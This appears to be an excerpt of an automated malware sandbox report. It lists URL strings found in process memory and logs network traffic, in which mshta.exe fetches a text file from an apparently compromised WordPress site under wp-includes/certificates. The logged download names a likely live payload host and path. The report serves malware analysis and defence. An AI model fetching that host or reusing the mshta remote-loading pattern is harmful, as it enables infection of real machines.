Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://messaging.lifecycle.office.com/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://messaging.office.com/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://my.microsoftpersonalcontent.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://ncus.contentsync.
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://ncus.pagecontentsync.
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://officeapps.live.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://onedrive.live.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://onedrive.live.com/embed?
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://osi.office.net
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://otelrules.azureedge.net
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://outlook.office.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://outlook.office.com/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://outlook.office365.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://outlook.office365.com/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://pages.store.office.com/review/query
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://powerlift.acompli.net
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: mshta.exe, 0000000A.00000002.556298812.000000000CC90000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.drString found in binary or memory: https://regexper.com/#(http%3A%7Chttps%3A%7C)%5C%2F%5C%2F(player.%7Cwww.%7Capp.)%3F(vimeo%5C.com%7Cy
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://roaming.edog.
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: mshta.exe, 0000000A.00000002.547963442.00000000073F3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://s.w.org/images/core/emoji/11/72x72/https://s.w.org/images/core/emoji/11/svg/d
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://settings.outlook.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://shell.suite.office.com:1443
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://skyapi.live.net/Activity/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://staging.cortana.ai
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://store.office.cn/addinstemplate
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://store.office.de/addinstemplate
Source: js[1].js.10.drString found in binary or memory: https://streetviewpixels-pa.googleapis.com/v1/thumbnail?hl=en-US
Source: js[1].js.10.drString found in binary or memory: https://streetviewpixels-pa.googleapis.com/v1/tile
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: js[1].js.10.drString found in binary or memory: https://support.google.com/fusiontables/answer/9185417).
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://tasks.office.com
Source: mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/s
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.540174729.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2#
Source: mshta.exe, 0000000A.00000003.332063162.0000000006B5E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2$
Source: mshta.exe, 0000000A.00000002.547963442.00000000073F3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://twemoji.maxcdn.com/2/
Source: mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386403873.000000000CD62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: mshta.exe, 0000000A.00000002.556298812.000000000CC90000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.drString found in binary or memory: https://vimeo.com/:id
Source: mshta.exe, 0000000A.00000002.556298812.000000000CC90000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.drString found in binary or memory: https://vimeo.com/channels/:channel/:id
Source: mshta.exe, 0000000A.00000002.556298812.000000000CC90000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.drString found in binary or memory: https://vimeo.com/groups/:group/videos/:id
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://web.microsoftstream.com/video/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://webshell.suite.office.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://wus2.contentsync.
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://wus2.pagecontentsync.
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: js[1].js.10.drString found in binary or memory: https://www.google.com
Source: js[1].js.10.drString found in binary or memory: https://www.google.com/maps
Source: js[1].js.10.drString found in binary or memory: https://www.google.com/maps/vt
Source: mshta.exe, 0000000A.00000002.543184834.0000000006BD4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/mapsd
Source: mshta.exe, 0000000A.00000002.557557475.000000000D1F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.macromedia.com/support/flashplayer/sys/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://www.odwebp.svc.ms
Source: mshta.exe, 0000000A.00000002.556298812.000000000CC90000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.drString found in binary or memory: https://www.youtube.com/watch?v=:id
Source: mshta.exe, 0000000A.00000002.556298812.000000000CC90000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.drString found in binary or memory: https://youtu.be/:id
Source: unknownDNS traffic detected: queries for: facextrade.com.br
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: translate.google.com
Source: global trafficHTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
